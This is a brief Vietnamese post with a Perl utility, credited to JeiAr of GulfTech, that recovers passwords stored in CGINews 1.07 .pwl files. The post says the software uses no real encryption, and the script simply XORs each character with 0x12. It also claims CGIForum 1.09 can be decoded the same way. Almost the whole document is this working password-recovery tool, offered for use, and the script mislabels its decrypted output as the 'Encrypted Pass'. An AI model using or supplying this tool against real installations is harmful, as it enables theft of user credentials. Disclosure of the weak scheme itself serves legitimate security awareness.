CGINews không dùng DES, MD5 hay bất kỳ cách nào khác để mã hóa. Đoạn code bên dưới dùng để giải mã mật khẩu tìm thấy trong file .pwl. Ta còn có thể decode CGIForum 1.09

CODE

print "CGI News 1.07 - Pass Decrypt Utility \n";
print "------------------------------------ \n";
print "By JeiAr [ http://www.gulftech.org ] \n";

print "\n" x 3;

print "Please Enter Encrypted Pass:";

$UserPassword = <STDIN>;
chomp $UserPassword;

$UserPassword = EncDec($UserPassword);

print "\n" x 5;

print "Encrypted Pass Is: $UserPassword";

sub EncDec
{
my @args = split //, shift();
my $retval = '';
for (my $stringpos = 0; $stringpos <= $#args; $stringpos++) {
$retval .= chr(ord($args[$stringpos]) ^ 0x12);
}
return $retval;
}

exit;